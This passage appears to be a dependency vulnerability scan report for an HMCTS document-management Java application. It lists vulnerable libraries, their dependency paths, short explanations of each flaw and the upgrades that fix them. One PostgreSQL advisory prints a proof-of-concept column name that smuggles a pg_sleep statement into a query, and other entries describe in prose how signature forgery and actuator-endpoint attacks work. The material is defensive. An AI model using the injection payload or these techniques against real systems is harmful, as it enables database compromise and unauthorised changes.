  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-bootstrap@4.3.3 › org.springframework.cloud:spring-cloud-starter@4.3.3 › org.bouncycastle:bcprov-jdk18on@1.85
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3 › org.springframework.cloud:spring-cloud-starter@4.3.3 › org.bouncycastle:bcprov-jdk18on@1.85

Overview

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature via the BLS12_381BasicScheme.keyValidate path in BLS12_381BasicScheme.java. An attacker can be accepted as a signer in BLS aggregate verification by supplying an ECPoint built on a non-canonical ECCurve that shares BLS12-381’s field characteristic but forges a cofactor of 1. The vulnerable subgroup check trusts the point’s own curve object, so a point that is not actually on the canonical G1 curve can pass keyValidate and then contribute nothing to the pairing result. This lets an aggregate signature verify even though one of the listed public keys did not sign the message, causing phantom-signer acceptance in applications that construct authority-bearing keys from explicit curve objects.

Remediation

Upgrade org.bouncycastle:bcprov-jdk18on to version 1.86 or higher.

References

high severity

SQL Injection

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@versions.postgresql

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.postgresql:postgresql@versions.postgresql
    Remediation: Upgrade to org.postgresql:postgresql@42.2.26.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to SQL Injection via the java.sql.ResultRow.refreshRow() function in jdbc/PgResultSet.java, due to insufficient escaping column names. An attacker with control of the underlying database can name a column with a string containing a semicolon or other statement terminator, then convince a user to run a query against the table with the compromised column, and then have the application run ResultSet.refreshRow(), to execute code.

NOTE:

  • An application that only connects to its own database with a fixed schema with no DDL permissions is not affected by this vulnerability.
  • Additionally, applications that do not invoke ResultSet.refreshRow() are not affected.

PoC:

CREATE TABLE refresh_row_example (
  id     int PRIMARY KEY,
  "1 FROM refresh_row_example; SELECT pg_sleep(10); SELECT * " int
);

Remediation

Upgrade org.postgresql:postgresql to version 42.2.26, 42.3.7, 42.4.1 or higher.

References

high severity

Cross-site Scripting (XSS)

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3, org.springframework.boot:spring-boot-starter-web@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3 › org.springframework:spring-web@6.2.19
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.3.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-http-converter@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springframework:spring-webmvc@7.1.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-webmvc@7.1.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-http-converter@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-http-converter@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-servlet@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3 › org.springframework.cloud:spring-cloud-openfeign-core@4.3.3 › io.github.openfeign:feign-form-spring@13.6.1 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-webmvc@7.1.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-webmvc@7.1.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › org.springframework:spring-webmvc@7.1.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-http-converter@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-http-converter@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-servlet@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-servlet@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › org.springframework.data:spring-data-rest-core@5.2.0-M2 › org.springframework.hateoas:spring-hateoas@3.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-M2 › org.springframework.boot:spring-boot-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-M2 › org.springframework.boot:spring-boot-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the Errors.getFieldErrors() or Errors.getFieldError() accessors when rendering field errors with HTML escaping enabled. An attacker can inject arbitrary HTML or JavaScript code by supplying crafted input that is not properly escaped.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade org.springframework:spring-web to version 7.0.9 or higher.

References

high severity

Generation of Predictable IV with CBC Mode

  • Vulnerable module: org.springframework.security:spring-security-crypto
  • Introduced through: org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3 and org.springframework.cloud:spring-cloud-starter-bootstrap@4.3.3

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3 › org.springframework.cloud:spring-cloud-commons@4.3.3 › org.springframework.security:spring-security-crypto@6.5.11
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.3.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-bootstrap@4.3.3 › org.springframework.cloud:spring-cloud-starter@4.3.3 › org.springframework.cloud:spring-cloud-commons@4.3.3 › org.springframework.security:spring-security-crypto@6.5.11
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-bootstrap@5.0.3.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3 › org.springframework.cloud:spring-cloud-starter@4.3.3 › org.springframework.cloud:spring-cloud-commons@4.3.3 › org.springframework.security:spring-security-crypto@6.5.11
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.3.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-bootstrap@4.3.3 › org.springframework.cloud:spring-cloud-starter@4.3.3 › org.springframework.cloud:spring-cloud-context@4.3.3 › org.springframework.security:spring-security-crypto@6.5.11
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-bootstrap@5.0.3.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3 › org.springframework.cloud:spring-cloud-starter@4.3.3 › org.springframework.cloud:spring-cloud-context@4.3.3 › org.springframework.security:spring-security-crypto@6.5.11
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.3.

Overview

org.springframework.security:spring-security-crypto is a spring-security-crypto library for Spring Security.

Affected versions of this package are vulnerable to Generation of Predictable IV with CBC Mode via AesBytesEncryptor when using the two-argument constructor or specifying a null IV generator with CBC mode. An attacker can correlate encrypted values, determine when two records share the same plaintext, and mount dictionary attacks by pre-encrypting candidate values and comparing the results if they have read access to the encrypted data store.

Remediation

Upgrade org.springframework.security:spring-security-crypto to version 7.0.7, 7.1.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tools.jackson.core:jackson-core
  • Introduced through: net.logstash.logback:logstash-logback-encoder@9.0, org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › net.logstash.logback:logstash-logback-encoder@9.0 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in ReaderBasedJsonParser.java and UTF8DataInputJsonParser.java, when processing deeply nested data. A regression in 3.0 versions caused the StreamReadConstraints.maxNestingDepth setting for DataInput to not be checked, allowing resources to be overwhelmed by malicious inputs.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.0 or higher.

References

high severity

Incorrect Authorization

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: net.logstash.logback:logstash-logback-encoder@9.0, org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › net.logstash.logback:logstash-logback-encoder@9.0 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1

Overview

Affected versions of this package are vulnerable to Incorrect Authorization in the deserialization process when handling properties annotated with both @JsonView and @JsonUnwrapped. An attacker can modify data that should be restricted to a higher-privileged view by supplying crafted JSON input.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.5, 3.2.1 or higher.

References

high severity

Missing Authorization

  • Vulnerable module: org.springframework.cloud:spring-cloud-context
  • Introduced through: org.springframework.cloud:spring-cloud-starter-bootstrap@4.3.3 and org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-bootstrap@4.3.3 › org.springframework.cloud:spring-cloud-starter@4.3.3 › org.springframework.cloud:spring-cloud-context@4.3.3
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-bootstrap@5.0.3.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3 › org.springframework.cloud:spring-cloud-starter@4.3.3 › org.springframework.cloud:spring-cloud-context@4.3.3
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.3.

Overview

Affected versions of this package are vulnerable to Missing Authorization in the env actuator endpoint when no allow list is enforced for property keys. An attacker can modify arbitrary environment properties by sending crafted requests to the writable endpoint.

Note: This is only exploitable if the writable /actuator/env endpoint is enabled and accessible.

Remediation

Upgrade org.springframework.cloud:spring-cloud-context to version 5.0.3 or higher.

References

high severity

Multiple licenses: GPL-3.0, LGPL-3.0, MPL-1.1

  • Module: com.github.albfernandez:juniversalchardet
  • Introduced through: org.apache.tika:tika-parsers-standard-package@3.3.2

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-text-module@3.3.2 › com.github.albfernandez:juniversalchardet@2.5.0
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.tika:tika-parser-text-module@3.3.2 › com.github.albfernandez:juniversalchardet@2.5.0
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-code-module@3.3.2 › org.apache.tika:tika-parser-text-module@3.3.2 › com.github.albfernandez:juniversalchardet@2.5.0
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-mail-module@3.3.2 › org.apache.tika:tika-parser-text-module@3.3.2 › com.github.albfernandez:juniversalchardet@2.5.0
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-miscoffice-module@3.3.2 › org.apache.tika:tika-parser-text-module@3.3.2 › com.github.albfernandez:juniversalchardet@2.5.0
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.tika:tika-parser-text-module@3.3.2 › com.github.albfernandez:juniversalchardet@2.5.0

Multiple licenses: GPL-3.0, LGPL-3.0, MPL-1.1

medium severity
new

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: com.fasterxml.jackson.core:jackson-core@2.18.9, com.fasterxml.jackson.core:jackson-databind@2.18.9 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.fasterxml.jackson.core:jackson-core@2.18.9
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-core@2.18.11.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.18.11.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › com.fasterxml.jackson.core:jackson-core@2.18.9
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springdoc:springdoc-openapi-starter-common@2.9.1 › io.swagger.core.v3:swagger-core-jakarta@2.2.55 › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9
